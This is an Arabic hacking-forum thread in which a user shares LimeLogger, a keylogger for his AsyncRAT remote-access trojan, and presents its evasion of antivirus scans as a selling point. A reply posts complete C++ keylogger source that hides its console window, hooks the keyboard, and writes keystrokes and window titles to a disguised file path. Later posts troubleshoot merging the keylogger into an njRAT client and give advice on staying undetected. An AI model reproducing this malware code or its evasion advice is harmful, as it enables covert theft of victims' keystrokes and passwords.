LimeLogger | كيلوجر

تم تحميل الصفحة في 0,4141781 ثانية
LimeLogger | كيلوجر

NYAN CAT

مُميّز نُقطة لُغات البرمجة للعام 2019
rankrankrank
إنضم
14 نوفمبر 2017
المشاركات
645
الإعجابات
775
النقاط
113
الإقامة
Kuwait
السلام عليكم









LimeLogger#

كنت أحاول أن أبحث عن كيلوجر غير مكشوف ويكون ثابت الأداء. حاولت استخدام كيلوجر نجرات ولكن عند الفحص يتم اصطياده من الحمايات.

فقررت أن أكتب كيلوجر خاص فيني واستخدمه في مشروعي AsyncRAT ، يعني رب ضارة نافعة بدلاً من نسخ الكود تعلمت آلية عمل هوك الكيبورد خلال بحثي في المواقع.

السطر رقم 20 يوضح مكان نزول log.txt وطبعاً الكيلوجر يدعم اللغة العربية.

تستطيع ارفاق السورس مع مشروع الـ RAT الخاص فيك بكل سهولة فلا يحتاج لمكتبة خارجية أو ما شابه. فقط تعديل على مسار نزول log.txt أو التعديل البسيط على السورس بحيث يكون real-time\instant

أعتقد لو تستخدم طريقة Online keylogger\Real-time وتبتعد عن Offline لأن سلوك الهوك سيكون عدائي لو تثبت الهوك مع بداية تشغيل العميل قد تتحسس منه الحمايات.. مجرد وجهة نظر.




Download#

[#] رابط الفحص: ScanSmart by Tigatron @ Hackforums

[#] رابط المشروع: NYAN-x-CAT/LimeLogger

[!] المشروع عبارة عن سورس كود فستحتاج للفيجوال ستوديو.
 
التعديل الأخير:

NYAN CAT

مُميّز نُقطة لُغات البرمجة للعام 2019
rankrankrank
إنضم
14 نوفمبر 2017
المشاركات
645
الإعجابات
775
النقاط
113
الإقامة
Kuwait
حبذ أن يكون كيلوجر online أو عند كتابة كلمة دلالية أو عند تشغيل برنامج معين
طبعاً يمكنك ذلك من خلال هذا السورس. الفكرة هذه طبقتها انا من سنه تقريباً على أحد من مشاريعي.

تشغيل الكيلوجر + تصوير الشاشة كل ثانية عن كتابة كلمة من مجموعة كلمات دلالية.
 

NYAN CAT

مُميّز نُقطة لُغات البرمجة للعام 2019
rankrankrank
إنضم
14 نوفمبر 2017
المشاركات
645
الإعجابات
775
النقاط
113
الإقامة
Kuwait
مجرد مثال للتو طبقته على نجرات 7 فقط لتوضيح سهولة اضافة الكيلوجر على اي برنامج رات

حاول تغيير بعض الاكواد والدوال لتناسب احتياجك.

لا تنسى أن الكيلوجر كلين حالياً : رابط فحص Scan results

 

بجاية

موقوف لمخالفة الشروط
rank
إنضم
31 مايو 2019
المشاركات
26
الإعجابات
8
النقاط
8
العمر
36
لم ادخل من دو مده قاربت 10 سنين سجلت خروج مندو 2009 والى الان هته المواضيع تتكرر ههههه
 

NYAN CAT

مُميّز نُقطة لُغات البرمجة للعام 2019
rankrankrank
إنضم
14 نوفمبر 2017
المشاركات
645
الإعجابات
775
النقاط
113
الإقامة
Kuwait
لم ادخل من دو مده قاربت 10 سنين سجلت خروج مندو 2009 والى الان هته المواضيع تتكرر ههههه
منور الموضوع أخي. مجرد تصحيح وإن شاء الله تستفيد

منذ .. لا مدو
مدة .. لا مده
هذه .. لا هته
 

بجاية

موقوف لمخالفة الشروط
rank
إنضم
31 مايو 2019
المشاركات
26
الإعجابات
8
النقاط
8
العمر
36
منور الموضوع أخي. مجرد تصحيح وإن شاء الله تستفيد

منذ .. لا مدو
مدة .. لا مده
هذه .. لا هته
سحقا اتضن انني لا افقه العربيه ياهدا لكي تصحح لي اخطاي
 

C O M I X

أستغفر الله
rankrankrankrank
إنضم
24 يونيو 2014
المشاركات
1,548
الإعجابات
923
النقاط
233
الإقامة
:. Morocco .:
داءما مواضعك راقية كالعادة , برمجة ذهبية
بما أنني عملت على كايلوجلر مند فترة طويلة بلغة C
فإليك بعض اللإقتراحات
- أولا الكايلوجر لايدعم @ و في برنامجي أيضا لا بدعمه لأن ليس له keycode
الموقع التالي يوضح
JavaScript Event KeyCodes
فأتمنى منك أن تجد الحل لأني قمت بوضع العديد من الدوال الشرطية بدون فائدة ههه
-ثانيا أفضل أن تقوم بعمل توقيت عند فتح أي TAB
مثال

تالتا تلوين tab كما في نجرات tab تجدها باللون الأزرق لتسهل القراءة لكن يجب تغيير الامتداد ل rtf مع العلم أنه في برنامجي لم أستطع تطبيفها لأنه يقوم بالقراءة من cmd مخفي
على العموم تفضل الكود الخاص بي ربما تستفيد منه بعض الشيء

C:
#include <Windows.h>
#include <time.h>
#include <iostream>
#include <cstdio>
#include <fstream>

// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define invisible

// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
HHOOK _hook;

// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;

int Save(int key_stroke);
std::ofstream OUTPUT_FILE;

extern char lastwindow[256];

// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        // the action is valid: HC_ACTION.
        if (wParam == WM_KEYDOWN)
        {
            // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
           
            // save to file
            Save(kbdStruct.vkCode);
        }
    }

    // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
    // Set the hook and set it to use the callback function above
    // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
    // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
    // function that sets and releases the hook.
    if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
    {
        MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
    }
}

void ReleaseHook()
{
    UnhookWindowsHookEx(_hook);
}

int Save(int key_stroke)
{
    char lastwindow[256];
   
    if ((key_stroke == 1) || (key_stroke == 2))
        return 0;
   
    HWND foreground = GetForegroundWindow();
    DWORD threadID;
    HKL layout;
    if (foreground) {
        //get keyboard layout of the thread
        threadID = GetWindowThreadProcessId(foreground, NULL);
        layout = GetKeyboardLayout(threadID);
    }

    if (foreground)
    {
        char window_title[256];
        GetWindowText(foreground, window_title, 256);
       
        if(strcmp(window_title, lastwindow)!=0) {
            strcpy(lastwindow, window_title);
           
            // get time
            time_t t = time(NULL);
            struct tm *tm = localtime(&t);
            char s[64];
            strftime(s, sizeof(s), "%c", tm);
            OUTPUT_FILE <<  "\n -----------------------------------------------------------------" ;
            OUTPUT_FILE << "\n|||||||[Window: "<< window_title << " - at " << s << "]\n\n";
        }
    }


    std::cout << key_stroke << '\n';

    if (key_stroke == VK_BACK)
        OUTPUT_FILE << "[DEL]";
    else if (key_stroke == VK_RETURN)
        OUTPUT_FILE <<  "[ENTER]";
    else if (key_stroke == VK_SPACE)
        OUTPUT_FILE << " ";
    else if (key_stroke == VK_TAB)
        OUTPUT_FILE << "[TAB]";
    else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT)
        OUTPUT_FILE << "[SHIFT]";
    else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL)
        OUTPUT_FILE << "[CONTROL]";
    else if (key_stroke == VK_ESCAPE)
        OUTPUT_FILE << "[ESCAPE]";
    else if (key_stroke == VK_END)
        OUTPUT_FILE << "[END]";
    else if (key_stroke == VK_HOME)
        OUTPUT_FILE << "[HOME]";
    else if (key_stroke == VK_LEFT)
        OUTPUT_FILE << "[L]";
    else if (key_stroke == VK_UP)
        OUTPUT_FILE << "[U]";
    else if (key_stroke == VK_RIGHT)
        OUTPUT_FILE << "[R]";
    else if (key_stroke == VK_DOWN)
        OUTPUT_FILE << "[D]";
    else if (key_stroke == 190 || key_stroke == 110)
        OUTPUT_FILE << ".";
    else if (key_stroke == 189 || key_stroke == 109)
        OUTPUT_FILE << "-";
    else if (key_stroke == 20)
        OUTPUT_FILE << "[CAPSLOCK]";
    else {
        char key;
        // check caps lock
        bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

        // check shift key
        if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) {
            lowercase = !lowercase;  
        }

        //map virtual key according to keyboard layout
        key = MapVirtualKeyExA(key_stroke,MAPVK_VK_TO_CHAR, layout);
       
        //tolower converts it to lowercase properly
        if (!lowercase) key = tolower(key);
        OUTPUT_FILE <<  char(key);
    }
    //instead of opening and closing file handlers every time, keep file open and flush.
    OUTPUT_FILE.flush();
    return 0;
}

void Stealth()
{
    #ifdef visible
        ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
    #endif // visible

    #ifdef invisible
        ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
    #endif // invisible
}

int main()
{
   
    OUTPUT_FILE.open("C:\\Intel\\Logs\\LogsSystem32Log.rtf",std::ios_base::app);  
    printf("");
    Stealth();
    SetHook();
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
    }
}

و شكرا مرة أحرى لمشاركتنا داءما السورس الكود الخاص بمشاريعك :)
 

NYAN CAT

مُميّز نُقطة لُغات البرمجة للعام 2019
rankrankrank
إنضم
14 نوفمبر 2017
المشاركات
645
الإعجابات
775
النقاط
113
الإقامة
Kuwait
داءما مواضعك راقية كالعادة , برمجة ذهبية
بما أنني عملت على كايلوجلر مند فترة طويلة بلغة C
فإليك بعض اللإقتراحات
- أولا الكايلوجر لايدعم @ و في برنامجي أيضا لا بدعمه لأن ليس له keycode
الموقع التالي يوضح
JavaScript Event KeyCodes
فأتمنى منك أن تجد الحل لأني قمت بوضع العديد من الدوال الشرطية بدون فائدة ههه
-ثانيا أفضل أن تقوم بعمل توقيت عند فتح أي TAB
مثال

تالتا تلوين tab كما في نجرات tab تجدها باللون الأزرق لتسهل القراءة لكن يجب تغيير الامتداد ل rtf مع العلم أنه في برنامجي لم أستطع تطبيفها لأنه يقوم بالقراءة من cmd مخفي
على العموم تفضل الكود الخاص بي ربما تستفيد منه بعض الشيء


و شكرا مرة أحرى لمشاركتنا داءما السورس الكود الخاص بمشاريعك :)

منور أخي الكريم أهلا بك

الكيلوجر خام .. يعني أنا كتبته لكي أساعد المبرمج على دمج هذا الكود في مشروعه

ويمكن إضافة أي شيء يريد .. على سبيل المثال وكما تفضلت أن يضع التوقيت لفتح التاب مثلاً

أو تلوين أو Bold سطر أو كلمة معنية.

^وهذة الأشياء يتم برمجتها في السيرفر وليس من الكيلوجر أو الكلاينت

أما بخصوص @ فهي مدعومة في الكيلوجر الخاص فيني وتمت التجربة أيضاً

بخصوص الكيلوجر الذي ارفقته .. فأنا مبرمج دوت نت فقط. لو تضع سؤالك في قسم C ستجد الاجابة حتماً.

وعلقت على موضوع التشغيل الدائم للكيلوجر في AsyncRAT .. الفكرة سهل تطبيقها ولكن سيكون runtime للكلاينت ضعيف جداً ومكشوف للغاية.
 

C O M I X

أستغفر الله
rankrankrankrank
إنضم
24 يونيو 2014
المشاركات
1,548
الإعجابات
923
النقاط
233
الإقامة
:. Morocco .:
منور أخي الكريم أهلا بك

الكيلوجر خام .. يعني أنا كتبته لكي أساعد المبرمج على دمج هذا الكود في مشروعه

^وهذة الأشياء يتم برمجتها في السيرفر وليس من الكيلوجر أو الكلاينت

.
نعم أعلم صديقي
لكن بما أنك قلت تريد ان تدمجه مع asyncrat فقدمت لك إقتراحات لتطويره داخل الرات الخاص بك :)
فقط كفكرة بسيطة يمكن أن تفتح process خاص فقط بالكاي لوجر لتجنب مشكل runtime و مشكل الكشف و ضعف الأنترنت أثناء عمله في الرات.
 

NYAN CAT

مُميّز نُقطة لُغات البرمجة للعام 2019
rankrankrank
إنضم
14 نوفمبر 2017
المشاركات
645
الإعجابات
775
النقاط
113
الإقامة
Kuwait
نعم أعلم صديقي
لكن بما أنك قلت تريد ان تدمجه مع asyncrat فقدمت لك إقتراحات لتطويره داخل الرات الخاص بك :)
فقط كفكرة بسيطة يمكن أن تفتح process خاص فقط بالكاي لوجر لتجنب مشكل runtime و مشكل الكشف و ضعف الأنترنت أثناء عمله في الرات.
المشروع مدمج في برنامج AsyncRAT منذ وقت طويل ولكن أحببت أن أشارككم السورس كود .. موضوع بروسس خاص فكرة ممكن أن أفكر فيها بالتحديث القادم

شكراً على اقتراحك :38:
 
إنضم
7 يوليو 2016
المشاركات
246
الإعجابات
361
النقاط
63
الإقامة
JEDDAH City
السلام عليكم









LimeLogger#

كنت أحاول أن أبحث عن كيلوجر غير مكشوف ويكون ثابت الأداء. حاولت استخدام كيلوجر نجرات ولكن عند الفحص يتم اصطياده من الحمايات.

فقررت أن أكتب كيلوجر خاص فيني واستخدمه في مشروعي AsyncRAT ، يعني رب ضارة نافعة بدلاً من نسخ الكود تعلمت آلية عمل هوك الكيبورد خلال بحثي في المواقع.

السطر رقم 20 يوضح مكان نزول log.txt وطبعاً الكيلوجر يدعم اللغة العربية.

تستطيع ارفاق السورس مع مشروع الـ RAT الخاص فيك بكل سهولة فلا يحتاج لمكتبة خارجية أو ما شابه. فقط تعديل على مسار نزول log.txt أو التعديل البسيط على السورس بحيث يكون real-time\instant

أعتقد لو تستخدم طريقة Online keylogger\Real-time وتبتعد عن Offline لأن سلوك الهوك سيكون عدائي لو تثبت الهوك مع بداية تشغيل العميل قد تتحسس منه الحمايات.. مجرد وجهة نظر.




Download#

[#] رابط الفحص: ScanSmart by Tigatron @ Hackforums

[#] رابط المشروع: NYAN-x-CAT/LimeLogger

[!] المشروع عبارة عن سورس كود فستحتاج للفيجوال ستوديو.

شكرا لك !

تغير الكي لوقر بالرات راح يشكل فرق كبير بنتجة الفحص !

حذفت كي لوقر نجرات والنتيجه 6\22

كله بسبب كلاس الكي لوقر فقط.

حاولت اضف الكلاس لسورس كلاينت نجرات السي شارب.

وظهر معي خطأ كما بالصورة,





بمجرد اضافى الكلاس ماعدلت على اي شيئ الى الان.


وهنا مشكله لما حاولت اعدل على كلاس Core





اتوقع مفروض تكون بهذا الشكل

KeyloggerInstance.logpath

ولكن اللوق باث ستاتك.. ولذلك يعطينني خطأ.

حذفت ستاتك وضبطت. ولكن ظهرت مشككلة في كلاس اللوقر نفسه بعد حذف الستاتك.




لا افهم ببرمجة الرات ولا الكي لوقر.. المعذره منك ياليت توجهنا
 

NYAN CAT

مُميّز نُقطة لُغات البرمجة للعام 2019
rankrankrank
إنضم
14 نوفمبر 2017
المشاركات
645
الإعجابات
775
النقاط
113
الإقامة
Kuwait
شكرا لك !

تغير الكي لوقر بالرات راح يشكل فرق كبير بنتجة الفحص !

حذفت كي لوقر نجرات والنتيجه 6\22

كله بسبب كلاس الكي لوقر فقط.

حاولت اضف الكلاس لسورس كلاينت نجرات السي شارب.

وظهر معي خطأ كما بالصورة,




بمجرد اضافى الكلاس ماعدلت على اي شيئ الى الان.


وهنا مشكله لما حاولت اعدل على كلاس Core




اتوقع مفروض تكون بهذا الشكل

KeyloggerInstance.logpath

ولكن اللوق باث ستاتك.. ولذلك يعطينني خطأ.

حذفت ستاتك وضبطت. ولكن ظهرت مشككلة في كلاس اللوقر نفسه بعد حذف الستاتك.


لا افهم ببرمجة الرات ولا الكي لوقر.. المعذره منك ياليت توجهنا


أهلاً بالمبدع

أنا كتبت الكيلوجر هذا لأني حاولت استخدام كيلوجر نجرات على AsyncRAT وكانت نتيجة الفحص كارثية لووول فما بالك بالران تايم.

الكيلوجر لا يحتاج لإنشاء instance .. على طول استدعيه بواسطة اسم الكلاس "Keylogger" وغير private الى public لبعض الدوال



أما بخصوص الأخطاء .. هل تستخدم فيجوال 2019؟

isnullorwhilte ليست مدعومة في 2.0 Screenshot

استخدم isempty أو "" أو length > 0 .. كما تريد

الجميل في isnullorwhilte انها ترجع true حتى لو كان " " مع المسافة البيضاء


بخصوص logpath .. نجرات يستخدم الريجستري .. فلو تريد تغير السلوك إلى القرص فسيكون جيد أيضاً

"لا افهم ببرمجة الرات ولا الكي لوقر.." لا أحد يولد وهو يعرف.. ولا يجب عليك مجاراة أسلوب njq8 في طريقة الكيلوجر لكل مبرمج سلوك وطريقة معينة في الكتابة.

السورس أمامك افعل ما تريده وانا حاضر للمساعدة.
 
إنضم
7 يوليو 2016
المشاركات
246
الإعجابات
361
النقاط
63
الإقامة
JEDDAH City
أهلاً بالمبدع

أنا كتبت الكيلوجر هذا لأني حاولت استخدام كيلوجر نجرات على AsyncRAT وكانت نتيجة الفحص كارثية لووول فما بالك بالران تايم.

الكيلوجر لا يحتاج لإنشاء instance .. على طول استدعيه بواسطة اسم الكلاس "Keylogger" وغير private الى public لبعض الدوال



أما بخصوص الأخطاء .. هل تستخدم فيجوال 2019؟

isnullorwhilte ليست مدعومة في 2.0 Screenshot

استخدم isempty أو "" أو length > 0 .. كما تريد

الجميل في isnullorwhilte انها ترجع true حتى لو كان " " مع المسافة البيضاء


بخصوص logpath .. نجرات يستخدم الريجستري .. فلو تريد تغير السلوك إلى القرص فسيكون جيد أيضاً

"لا افهم ببرمجة الرات ولا الكي لوقر.." لا أحد يولد وهو يعرف.. ولا يجب عليك مجاراة أسلوب njq8 في طريقة الكيلوجر لكل مبرمج سلوك وطريقة معينة في الكتابة.

السورس أمامك افعل ما تريده وانا حاضر للمساعدة.
شكرا على رحابتك صدرك.

برجع افتح المشروع واجرب.
 
إنضم
7 يوليو 2016
المشاركات
246
الإعجابات
361
النقاط
63
الإقامة
JEDDAH City
أهلاً بالمبدع

أنا كتبت الكيلوجر هذا لأني حاولت استخدام كيلوجر نجرات على AsyncRAT وكانت نتيجة الفحص كارثية لووول فما بالك بالران تايم.

الكيلوجر لا يحتاج لإنشاء instance .. على طول استدعيه بواسطة اسم الكلاس "Keylogger" وغير private الى public لبعض الدوال



أما بخصوص الأخطاء .. هل تستخدم فيجوال 2019؟

isnullorwhilte ليست مدعومة في 2.0 Screenshot

استخدم isempty أو "" أو length > 0 .. كما تريد

الجميل في isnullorwhilte انها ترجع true حتى لو كان " " مع المسافة البيضاء


بخصوص logpath .. نجرات يستخدم الريجستري .. فلو تريد تغير السلوك إلى القرص فسيكون جيد أيضاً

"لا افهم ببرمجة الرات ولا الكي لوقر.." لا أحد يولد وهو يعرف.. ولا يجب عليك مجاراة أسلوب njq8 في طريقة الكيلوجر لكل مبرمج سلوك وطريقة معينة في الكتابة.

السورس أمامك افعل ما تريده وانا حاضر للمساعدة.

isempty , ""

ماحلوا الخطأ, وحولت المشروع للاصدار 4 برضه الخطأ بيطلع.

هذا سكرين شوت للكومبايل ايرور

 

NYAN CAT

مُميّز نُقطة لُغات البرمجة للعام 2019
rankrankrank
إنضم
14 نوفمبر 2017
المشاركات
645
الإعجابات
775
النقاط
113
الإقامة
Kuwait
isempty , ""

ماحلوا الخطأ, وحولت المشروع للاصدار 4 برضه الخطأ بيطلع.

هذا سكرين شوت للكومبايل ايرور


جميل أنك أرفقت الأخطاء

تمام يبدو أنك لا تستخدم نسخة VS2019

عليك التعويض بشكل آخر
uint pid; ضعها قبل سطر 141
وامسح unit من سطر 141

وهنا يقولك string لا تحتوي على دالة isempty وهذا صحيح فهي IsNullOrEmpty ولكني كتبتها في ردي السابق بشكل مختصر.

لو تستخدم 2019 سيكون أفضل ليس فقط لهذا المشروع بل في المستقبل لو حملت أي مشروع من جيت هاب.
 
إنضم
7 يوليو 2016
المشاركات
246
الإعجابات
361
النقاط
63
الإقامة
JEDDAH City
جميل أنك أرفقت الأخطاء

تمام يبدو أنك لا تستخدم نسخة VS2019

عليك التعويض بشكل آخر
uint pid; ضعها قبل سطر 141
وامسح unit من سطر 141

وهنا يقولك string لا تحتوي على دالة isempty وهذا صحيح فهي IsNullOrEmpty ولكني كتبتها في ردي السابق بشكل مختصر.

لو تستخدم 2019 سيكون أفضل ليس فقط لهذا المشروع بل في المستقبل لو حملت أي مشروع من جيت هاب.

انحلت مشكله من اصل 4.

نسختي 2015

انظر للصورة,




يبيعطيني ان الـ pid مش دكليرد.

وبرضه بالسطر 128 الـ processid

بالوهمي مركب نسخة 2019 انحلت كل المشاكل ما عدى مشكله processid
 

NYAN CAT

مُميّز نُقطة لُغات البرمجة للعام 2019
rankrankrank
إنضم
14 نوفمبر 2017
المشاركات
645
الإعجابات
775
النقاط
113
الإقامة
Kuwait
انحلت مشكله من اصل 4.

نسختي 2015

انظر للصورة,




يبيعطيني ان الـ pid مش دكليرد.

وبرضه بالسطر 128 الـ processid

بالوهمي مركب نسخة 2019 انحلت كل المشاكل ما عدى مشكله processid

لا يمكنك وضع ; uint pid; السطر هذا خطأ. عملت سطر جديد داخل بارميتر الـ GetProcessById

هذه الصورة ستحل المشكلة ان شاء الله

Screenshot

ونسيت أن أقول أنه لاداعي لتحويل المشروع إلى 4.0 .. 2.0 كافي مجرد تبديل "IsNullOrWhiteSpace" بأي شيء مشابه له مثل IsNullOrEmpty
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 1 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل